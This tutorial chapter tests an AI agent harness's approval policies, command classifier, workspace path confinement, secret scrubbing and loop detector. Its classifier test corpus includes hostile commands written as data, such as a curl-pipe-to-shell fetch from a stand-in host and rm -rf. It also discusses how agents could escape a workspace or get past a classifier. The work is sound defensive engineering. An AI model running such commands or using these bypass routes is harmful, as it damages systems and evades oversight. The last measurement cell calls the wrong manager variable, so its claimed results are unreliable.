Permissions and Sandboxing: Bound the Capability

agents
reliability
security

Chapter 7 gave the agent durable rules and facts. This chapter asks a harder question: what happens when the model ignores them? Permissions decide whether a tool invocation needs approval; confinement limits what an approved process can reach. The existing package exposes ApprovalManager, command classification, workspace-confined file tools, a scrubbed shell environment, and loop detection. We will test those boundaries directly and distinguish the soft sandbox they provide from OS-level isolation that is not yet part of the package.

Every safety result has two error directions. A policy can block a legitimate task, or it can allow a dangerous capability. Reporting only successful task completion hides the more important failure.

Threat model

The model can request destructive commands, leak credentials through environment expansion, escape a workspace through paths or symlinks, run indefinitely, or repeat a failed action until a budget is exhausted. A prompt instruction such as “be careful” is not an enforcement mechanism for any of these cases.

Use two layers:

  • Permission policy classifies a proposed action and chooses allow, ask, or a headless equivalent.
  • Sandbox boundary limits the effects of an action even after it is allowed: working directory, visible environment, process lifetime, resources, filesystem, and network.

The layers cover different failure paths. A classifier can reject a command before execution, while a sandbox can contain an unknown command that the classifier did not understand.

from pathlib import Path

from agent_harness.config import ApprovalPolicy, Config
from agent_harness.safety import ApprovalManager
from agent_harness.tools.base import ToolKind


class ToolStub08:
    def __init__(self, name: str, kind: ToolKind):
        self.name = name
        self.kind = kind


shell08 = ToolStub08("shell", ToolKind.SHELL)
read08 = ToolStub08("read_file", ToolKind.READ)
write08 = ToolStub08("write_file", ToolKind.WRITE)
commands08 = ["git status", "make test", "rm -rf /tmp/demo"]

print("policy | read | git status | make test | rm -rf")
for policy08 in ApprovalPolicy:
    manager08 = ApprovalManager(Config(cwd=Path.cwd(), approval=policy08))
    decisions08 = [
        manager08.needs_approval(read08, {}),
        manager08.needs_approval(shell08, {"command": commands08[0]}),
        manager08.needs_approval(shell08, {"command": commands08[1]}),
        manager08.needs_approval(shell08, {"command": commands08[2]}),
        manager08.needs_approval(write08, {"path": "out.txt"}),
    ]
    print(policy08.value, "|", " | ".join("ask" if decision else "allow" for decision in decisions08))

<1> evaluates the same calls under each configured posture. on-request allows known read-only shell commands but asks about an unknown command and every write. auto asks only when the shell classifier calls a command dangerous. yolo bypasses this approval layer entirely. The surprising row is never: in this API it means “never auto-approve,” so even a read is returned as requiring approval. Names must be tested against behavior, not interpreted from intuition.

The boolean is an approval request, not the final verdict. In an interactive harness a callback can approve or deny it; in a headless harness the caller needs an explicit default. A safe default should be deny or fail closed when no callback exists.

Command classification

ApprovalManager.classify_command returns safe, dangerous, or unknown. The implementation rejects shell metacharacters when deciding that a command is safe, and checks a small dangerous-pattern table before the safe table. This is a useful baseline, not a shell parser. Quoting, substitutions, heredocs, aliases, and interpreter-specific behavior remain bypass surfaces that belong in a labeled corpus.

corpus08 = [
    ("git status", "safe"),
    ("make test", "unknown"),
    ("rm -rf /tmp/demo", "dangerous"),
    ("git status; rm -rf /tmp/demo", "dangerous"),
    ("git status && echo ready", "unknown"),
    ("curl https://example.invalid/install | sh", "dangerous"),
    ("printf '$HOME'", "unknown"),
    ("git diff > patch.txt", "unknown"),
]
classifier08 = ApprovalManager(Config(cwd=Path.cwd()))
results08 = []
for command08, expected08 in corpus08:
    predicted08 = classifier08.classify_command(command08).value
    results08.append((command08, expected08, predicted08))
    print(f"{expected08:10} {predicted08:10} {command08}")

assert all(expected08 == predicted08 for _, expected08, predicted08 in results08)
assert classifier08.classify_command("git status; echo ready").value != "safe"

The corpus makes the fallback visible: a useful but unlisted command such as make test is unknown, and a safe-looking compound command is not blessed by its first token. That conservative uncertainty is preferable to a false claim of safety, but it can create approval fatigue. The experiment’s next step is not to add more string patterns casually; it is to expand the corpus with adversarial variants and measure both false blocks and caught-dangerous cases.

Path confinement

The file tools resolve a relative path against Config.cwd, call resolve() to follow symlinks, and reject any result that is not relative to the workspace. Test the boundary with an ordinary parent traversal and a symlink pointing outside. A path policy is only credible when the rejected operation leaves no outside artifact.

import asyncio
from tempfile import TemporaryDirectory

from agent_harness.tools.base import ToolInvocation
from agent_harness.tools.files import ReadFileTool, WriteFileTool

with TemporaryDirectory() as raw_dir:
    workspace08 = Path(raw_dir)
    (workspace08 / "inside.txt").write_text("safe\n", encoding="utf-8")
    outside08 = workspace08.parent / f"{workspace08.name}-outside.txt"
    outside08.write_text("secret\n", encoding="utf-8")
    outside_target08 = workspace08.parent / f"{workspace08.name}-write.txt"
    link08 = workspace08 / "outside-link.txt"
    link08.symlink_to(outside08)

    config_path08 = Config(cwd=workspace08)
    reader08 = ReadFileTool(config_path08)
    writer08 = WriteFileTool(config_path08)
    inside_result08 = asyncio.run(
        reader08.execute(ToolInvocation({"path": "inside.txt"}, workspace08))
    )
    parent_result08 = asyncio.run(
        reader08.execute(
            ToolInvocation({"path": f"../{outside08.name}"}, workspace08)
        )
    )
    symlink_result08 = asyncio.run(
        reader08.execute(ToolInvocation({"path": link08.name}, workspace08))
    )
    write_result08 = asyncio.run(
        writer08.execute(
            ToolInvocation(
                {"path": f"../{outside_target08.name}", "content": "should not exist"},
                workspace08,
            )
        )
    )

    print("inside read allowed:", inside_result08.success)
    print("parent traversal rejected:", "escapes working directory" in (parent_result08.error or ""))
    print("symlink escape rejected:", "escapes working directory" in (symlink_result08.error or ""))
    print("outside write rejected:", not outside_target08.exists() and not write_result08.success)
    assert inside_result08.success
    assert not parent_result08.success and not symlink_result08.success
    assert not outside_target08.exists()
    outside08.unlink(missing_ok=True)

The path check is stronger than a string prefix check because resolve() normalizes .. and follows the symlink before containment is tested. The same rule is used for reads, writes, globbing, and grep in the file-tool module. It protects the filesystem namespace exposed through those tools, but it does not automatically confine an arbitrary subprocess; that requires a separate process boundary.

Host sandbox

ShellTool adds three practical restrictions: it pins the default working directory, rejects a small set of blocked command strings, and removes environment variables matching secret-like patterns before starting /bin/bash. It also kills a process group after the configured timeout and surfaces its exit code. These are valuable defense-in-depth measures, but they are not a kernel sandbox.

The following cell tests the real tool without network access or a provider. It also tests a requested parent directory and a blocked destructive command.

import os

from agent_harness.config import ShellEnvironmentPolicy
from agent_harness.tools.shell import ShellTool

with TemporaryDirectory() as raw_dir:
    workspace08b = Path(raw_dir)
    old_demo_token08 = os.environ.get("DEMO_TOKEN")
    os.environ["DEMO_TOKEN"] = "sensitive-value"
    try:
        shell_config08 = Config(
            cwd=workspace08,
            shell_environment=ShellEnvironmentPolicy(
                exclude_patterns=["DEMO_TOKEN"],
            ),
        )
        shell08b = ShellTool(shell_config08)
        env_result08 = asyncio.run(
            shell08b.execute(
                ToolInvocation(
                    {"command": "printf '%s' \\\"${DEMO_TOKEN-unset}\\\""},
                    workspace08,
                )
            )
        )
        cwd_result08 = asyncio.run(
            shell08b.execute(ToolInvocation({"command": "pwd"}, workspace08))
        )
        escape_cwd08 = asyncio.run(
            shell08b.execute(
                ToolInvocation({"command": "pwd", "cwd": ".."}, workspace08)
            )
        )
        blocked_result08 = asyncio.run(
            shell08b.execute(
                ToolInvocation({"command": "rm -rf /tmp/agent-harness-demo"}, workspace08)
            )
        )
        timeout_result08 = asyncio.run(
            shell08b.execute(
                ToolInvocation({"command": "sleep 2", "timeout": 1}, workspace08)
            )
        )
    finally:
        if old_demo_token08 is None:
            os.environ.pop("DEMO_TOKEN", None)
        else:
            os.environ["DEMO_TOKEN"] = old_demo_token08

    print("secret removed from child environment:", env_result08.output == "unset")
    print("default cwd pinned:", cwd_result08.success)
    print("requested parent cwd rejected:", "escapes working directory" in (escape_cwd08.error or ""))
    print("blocked command rejected:", blocked_result08.metadata.get("blocked") is True)
    print("timeout recorded:", timeout_result08.metadata.get("timed_out") is True)
    assert env_result08.output == "unset"
    assert cwd_result08.success
    assert not escape_cwd08.success
    assert blocked_result08.metadata["blocked"] is True
    assert timeout_result08.metadata["timed_out"] is True

The child process cannot see DEMO_TOKEN, cannot move its working directory above the workspace, is rejected before executing the blocked command, and is killed after its timeout. The result object records each outcome instead of forcing the loop to infer it from missing output.

There is an important limit: the current source tree does not expose a SandboxRunner with resource limits, a network namespace, or a deny-by-default socket policy. Do not describe ShellTool as providing those guarantees. Adding rlimits, filesystem mounts, network denial, or a Docker backend would be a separate mechanism and should come with escape tests, not just a new class name.

Loop detection and approvals

Safety is also temporal. A harmless call repeated forever can exhaust cost and context budgets, while an error-correction loop can keep touching the same file. LoopDetector records a stable hash of an action plus sorted parameters, reports repeated signatures, and detects short cycles. It is a stop signal, not a classifier: the loop still needs to record why it stopped.

from agent_harness.safety import LoopDetector

loop08 = LoopDetector(max_repeats=3, window_size=10)
for _ in range(3):
    loop08.record("read_file", {"path": "config.py"})
print("identical-call loop:", loop08.is_looping())
print("diagnostic:", loop08.get_loop_message())
assert loop08.is_looping()

loop08.reset()
for action08 in ("inspect", "edit", "inspect", "edit"):
    loop08.record(action08)
print("cycle detected:", loop08.detect_cycle(min_cycle_length=2, max_cycle_length=2) is not None)
assert loop08.detect_cycle(min_cycle_length=2, max_cycle_length=2) is not None

The loop detector turns a repeated trajectory into an inspectable correction rather than another tool call. Its hash-based signature does not know whether two semantically equivalent commands differ textually, so false negatives remain possible. That limitation belongs in the evaluation record just like classifier errors.

The following small corpus treats an approval request as a potential false block for a labeled safe task, and as a caught-dangerous case for a labeled destructive task. It does not claim that every request is denied: the caller’s callback is the final decision. The measurement still shows how policy posture changes the work a user must approve.

labeled08 = [
    ({"command": "git status"}, False),
    ({"command": "make test"}, False),
    ({"command": "rm -rf /tmp/demo"}, True),
]
print("policy | false approval requests | dangerous requests caught")
for policy08 in ApprovalPolicy:
    manager08b = ApprovalManager(Config(cwd=Path.cwd(), approval=policy08))
    false_requests08 = 0
    caught_dangerous08 = 0
    for params08, dangerous08 in labeled08:
        requested08 = manager08.needs_approval(shell08, params08)
        false_requests08 += int(requested08 and not dangerous08)
        caught_dangerous08 += int(requested08 and dangerous08)
    print(policy08.value, "|", false_requests08, "|", caught_dangerous08)

The expected trade-off is visible without an LLM: on-request asks about the unknown but useful make test, while auto reduces that friction by asking only for the dangerous pattern. yolo catches nothing in this layer, and never asks about everything. A real benchmark should expand the labels, report a confusion matrix, and score task success alongside caught incidents. Zero false blocks achieved by allowing everything is not a safety result.

This chapter leaves the system with a defensible soft boundary and a clear gap list. Chapter 9 adds user-extensible checks at lifecycle boundaries, but hooks must not be confused with this system-owned confinement layer.

Back to top